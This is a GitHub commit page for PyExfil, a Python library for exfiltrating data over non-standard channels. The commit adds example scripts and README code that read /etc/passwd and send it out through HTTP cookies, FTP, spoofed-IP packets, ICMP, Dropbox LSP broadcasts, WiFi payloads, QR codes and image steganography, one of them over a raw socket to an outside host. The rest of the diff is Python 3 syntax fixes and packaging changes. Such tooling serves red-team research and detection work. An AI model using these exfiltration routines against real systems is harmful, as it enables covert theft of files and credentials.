Skip to content

Commit

Permalink
fixes
Browse files Browse the repository at this point in the history
  • Loading branch information
ytisf committed Mar 23, 2018
1 parent 0569d88 commit 03a91a4
Show file tree
Hide file tree
Showing 15 changed files with 151 additions and 18 deletions.
5 changes: 5 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -7,3 +7,8 @@ dev_zone/
.ropeproject/
.idea/
.git/
PyExfil.egg-info/
build/
dist/
__pycache__/
*__pycache__/
85 changes: 85 additions & 0 deletions EXAMPLES.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,85 @@
#!/usr/bin/env python

import sys



FILE_TO_EXFIL = "/etc/passwd"




""" NETWORK EXAMPLES """


""" HTTP Cookies """
# from pyexfil.network.HTTP_Cookies.http_exfiltration import send_file
#
# send_file(addr='http://www.morirt.com', file_path=FILE_TO_EXFIL)


""" Source IP Based """
# from pyexfil.network.FTP.ftp_exfil import FTPExfiltrator
#
# FTPexf = FTPExfiltrator(file2exfil=FILE_TO_EXFIL, server="8.8.8.8", port=21, creds=(), tls=False)
# FTPexf.get_file_chunks()
# FTPexf.build_final_chunks()
# FTPexf.send_chunks()


""" Source IP Based * """
# from pyexfil.network.SpoofIP.spoofIPs_client import _send
#
# _send(file_path=FILE_TO_EXFIL, to="8.8.8.8")


""" DropBox LSP """
# # Can also be used to CNC communication inside network.
# from pyexfil.network.DB_LSP.dblsp import DB_LSP
#
# dbLSP = DB_LSP(
# cnc='192.168.1.255',
# data=open(FILE_TO_EXFIL, 'rb').read(),
# key="Donnie!"
# )
# dbLSP._Create()
# dbLSP.Send()


""" Exfiltration Over ICMP * """
# from pyexfil.network.ICMP.icmp_exfiltration import send_file
#
# send_file( "8.8.8.8",
# src_ip_addr="127.0.0.1",
# file_path=FILE_TO_EXFIL,
# max_packetsize=512,
# SLEEP=0.1)


""" STEGANOGRAPHY EXAMPLES """

""" Binary offset in file """
from pyexfil.Stega.binoffset.binoffset import CreateExfiltrationFile

CreateExfiltrationFile(
originalImage='pyexfil/Stega/binoffset/image.png',
rawData=FILE_TO_EXFIL,
OutputImage="/tmp/new.png")




""" PHYSICAL EXAMPLES """


""" Example for Wifi Payload """
# from pyexfil.physical.wifiPayload.client import exfiltrate
#
# exfiltrate(FILE_TO_EXFIL)

""" Example for QRCode Exfiltration """
# from pyexfil.physical.qr.generator import CreateQRs, PlayQRs
# if CreateQRs(FILE_TO_EXFIL):
# PlayQRs()
# else:
# sys.stderr.write("Something went wrong with creating QRs.\n")
31 changes: 31 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -338,6 +338,37 @@ DecodeExfiltrationFile(originalImage="base_"+originalImage, newImage="niceImage.

```

## Developers' Documentation

Please notice that although we have tried to keep this a collection of relatively separated stand alone modules so that converting them to static binaries for various operating systems would be as easy as possible, some things we have decided to turn into modules that would be shared across the board while attempting to keep is as depency free as possible. Such a component for now is `pyexfil/includes/prepare`. This module contains the methos of converting files (compressing, encrypting, encoding and splitting) into chunks ready to be sent or decoded.

You can use it in the following way:

```python
from pyexfil.includes.prepare import PrepFile, RebuildFile, DecodePacket

proc = PrepFile('/etc/passwd', kind='binary') # will yield a dictionary

# Send the data over
sock = socket.socket()
sock.connect(('google.com', 443))
for i in proc['Packets']:
sock.send(i)
sock.close()

# Rebuilding the data:
conjoint = []
for packet in proc['Packets']:
b = DecodePacket(packet)
conjoint.append(b)

# Verify and rebuild the file:
print RebuildFile(conjoint)


```


## Future Stuff
### Version Alpha
- [X] Check why HTTP Cookie exfiltration keeps failing CRC checks. (Fixed in patch #7 by Sheksa)
Expand Down
1 change: 1 addition & 0 deletions pyexfil/Stega/binoffset/binoffset.py
Original file line number Diff line number Diff line change
Expand Up @@ -144,6 +144,7 @@ def CreateExfiltrationFile(originalImage, rawData, OutputImage):

im2 = Image.new(img.mode, (ImageWidth, ImageHeight))
im2.putdata(FinalPixels)
open(OutputImage, 'wb').write("\x00") # Touching file as PIL does an append...
im2.save(OutputImage)
sys.stdout.write("\t[+] New image saved at '%s'.\n\n" % OutputImage)

Expand Down
15 changes: 9 additions & 6 deletions pyexfil/includes/prepare.py
Original file line number Diff line number Diff line change
Expand Up @@ -40,7 +40,10 @@ def rc4(data, key):

def _splitString(stri, length):
"""
Split a string to specific blocked chunks
Split string by a particular length.
:param stri: String to split
:param length: Length to split by, int
:return: List
"""
def _f(s, n):
while s:
Expand All @@ -49,7 +52,7 @@ def _f(s, n):
if type(length) is not int:
sys.stderr.write("'length' parameter must be an int.\n")
return False
if type(stri) is not str:
if type(stri) is not str and type(stri) is not bytes:
sys.stderr.write("'stri' parameter must be an string.\n")
return False
return list(_f(stri, length))
Expand Down Expand Up @@ -79,7 +82,7 @@ def DecodePacket(packet_data, enc_key=DEFAULT_KEY, b64_flag=False):
if encryption:
try:
data = rc4(data, enc_key)
except ValueError, e:
except ValueError as e:
sys.stderr.write("Data does not decrypt using the key you've provided.\n")
sys.stderr.write("%s\n" % e)
return False
Expand Down Expand Up @@ -141,7 +144,7 @@ def PrepFile(file_path, kind='binary', max_size=DEFAULT_MAX_PACKET_SIZE, enc_key
f = open(file_path, 'rb')
data = f.read()
f.close()
except IOError, e:
except IOError as e:
sys.stderr.write("Error opening file '%s'.\n" % file_path )
return False

Expand Down Expand Up @@ -202,7 +205,7 @@ def PrepFile(file_path, kind='binary', max_size=DEFAULT_MAX_PACKET_SIZE, enc_key
# Every Packet
i = 2
for chunk in packetsData:
thisPacket = seqID + delm + str(i) + delm + chunk
thisPacket = "%s%s%s%s%s" % (seqID, delm, str(i), delm, chunk)
if enc_key != "":
thisPacket = rc4(thisPacket, enc_key)
if kind == 'ascii':
Expand Down Expand Up @@ -285,7 +288,6 @@ def RebuildFile(packets_data):
return ret



"""
How to Use:
Expand Down Expand Up @@ -318,6 +320,7 @@ def RebuildFile(packets_data):
"""


if __name__ == "__main__":
sys.stderr.write("Not a stand alone module.\n")
sys.exit(1)
3 changes: 2 additions & 1 deletion pyexfil/network/DB_LSP/dblsp.py
Original file line number Diff line number Diff line change
Expand Up @@ -82,8 +82,9 @@ def Send(self):
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
else:
s.bind(('', self.port))
except:
except socket.error, e:
sys.stderr.write('Failed to create socket.\n')
sys.stderr.write('%s\n' % e)
return False

try:
Expand Down
3 changes: 0 additions & 3 deletions pyexfil/network/FTP/ftp_exfil.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,9 +5,6 @@
import zlib
import time
import base58
import base64
import socket
import hexdump

from ftplib import FTP
from ftplib import FTP_TLS
Expand Down
4 changes: 2 additions & 2 deletions pyexfil/network/HTTP_Cookies/http_exfiltration.py
Original file line number Diff line number Diff line change
Expand Up @@ -77,7 +77,7 @@ def send_file(addr, file_path, max_packet_size=1200, time_delay=0.05):
time.sleep(time_delay)
except:
sys.stderr.write("Unable to reach target with error:\n")
raise ()
sys.exit(1)

# Send data
current_chunk = 0
Expand Down Expand Up @@ -219,4 +219,4 @@ def eth_addr(a):


if __name__ == "__main__":
sys.stdout.write("This is meant to be a module for python and not a stand alone executable\n")
sys.stdout.write("This is meant to be a module for python and not a stand alone executable\n")
Empty file added pyexfil/network/__init__.py
Empty file.
Empty file added pyexfil/physical/__init__.py
Empty file.
6 changes: 5 additions & 1 deletion pyexfil/physical/qr/generator.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,6 @@
import os
import sys
import zlib
import wand
import time
import qrcode
import base64
Expand All @@ -15,19 +14,22 @@
sys.stdout.write("Error importing something. Try 'pip install --user -r requirements'.\n%s\n" % e)
sys.exit(1)


# Globals
DEFAULT_FOLDER = "pyexfil/physical/qr/outputs/" # where QR images will be saved
MAXIMUM_QR_SIZE = 800 - 3 # in bytes -2 for index and 1 for delimiter
DELIMITER = ";"
DELAY = 3


def split2len(s, n):
def _f(s, n):
while s:
yield s[:n]
s = s[n:]
return list(_f(s, n))


def CreateQRs(filename, folder=DEFAULT_FOLDER):

# Try opening the file for reading
Expand Down Expand Up @@ -58,6 +60,7 @@ def CreateQRs(filename, folder=DEFAULT_FOLDER):
sys.stdout.write("Saved a total of %s images.\n" % i)
return True


def PlayQRs(folder=DEFAULT_FOLDER):
all_pngs = [each for each in os.listdir(folder) if each.endswith('.png')]
if len(all_pngs) == 0:
Expand All @@ -72,6 +75,7 @@ def PlayQRs(folder=DEFAULT_FOLDER):
sys.stdout.write("Finished playing images.\n")
return True


if __name__ == "__main__":
if CreateQRs('/etc/passwd'):
sys.stdout.write("Will now start playing the QRs.\n")
Expand Down
Empty file.
2 changes: 1 addition & 1 deletion pyexfil/physical/wifiPayload/client.py
Original file line number Diff line number Diff line change
Expand Up @@ -120,7 +120,7 @@ def exfiltrate(file_name, key="shut_the_fuck_up_donnie!"):
packet_cntr = len(chunksies)

# Build and send initiallaztion packet
inital_packet = "%s%s%s%s" % ( packet_cntr,
inital_packet = "%s%s%s%s%s" % ( packet_cntr,
DELIMITER,
digest,
DELIMITER,
Expand Down
3 changes: 3 additions & 0 deletions requirements.txt
Original file line number Diff line number Diff line change
Expand Up @@ -7,3 +7,6 @@ numpy
PIL
pytube
PyCrypto
qrcode
base58
ftplib
11 changes: 7 additions & 4 deletions setup.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@

__author__ = 'Yuval tisf Nativ'
__license__ = 'GPLv3'
__copyright__ = '2016, Yuval tisf Nativ'
__copyright__ = '2018, Yuval tisf Nativ'

import os

Expand All @@ -13,7 +13,10 @@
from distutils.core import setup


required = ['requests>=1.0.0', 'impacket>=0.9.0', 'slackclient', 'progressbar', 'zlib', 'numpy', 'PIL', 'pytube', 'hashlib']
required = ['requests>=1.0.0', 'impacket>=0.9.0', 'slackclient', 'progressbar', 'zlib', 'numpy', 'PIL', 'pytube', 'hashlib',
'urllib2', 'PyCrypto', 'ftplib', 'base58']
# Todo: Set that urllib2 is not installed from pip for Python3


if __name__ == '__main__':
if os.path.exists('MANIFEST'):
Expand All @@ -27,14 +30,14 @@
description="""PyExfil: Python communication library over non-standard channels.""",
license=__license__,
url='https://www.github.com/ytisf/pyexfil',
version="0.0.1 Beta",
version="1.0 RC1",
download_url='https://www.github.com/ytisf/pyexfil',
long_description=long_desc,
packages=['pyexfil'],
install_requires=required,
platforms='any',
classifiers=(
'Development Status :: 2 - Pre-Alpha',
'Development Status :: 3 - Beta',
'Intended Audience :: Developers',
'Intended Audience :: Science/Research',
'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',
Expand Down

0 comments on commit 03a91a4

Please sign in to comment.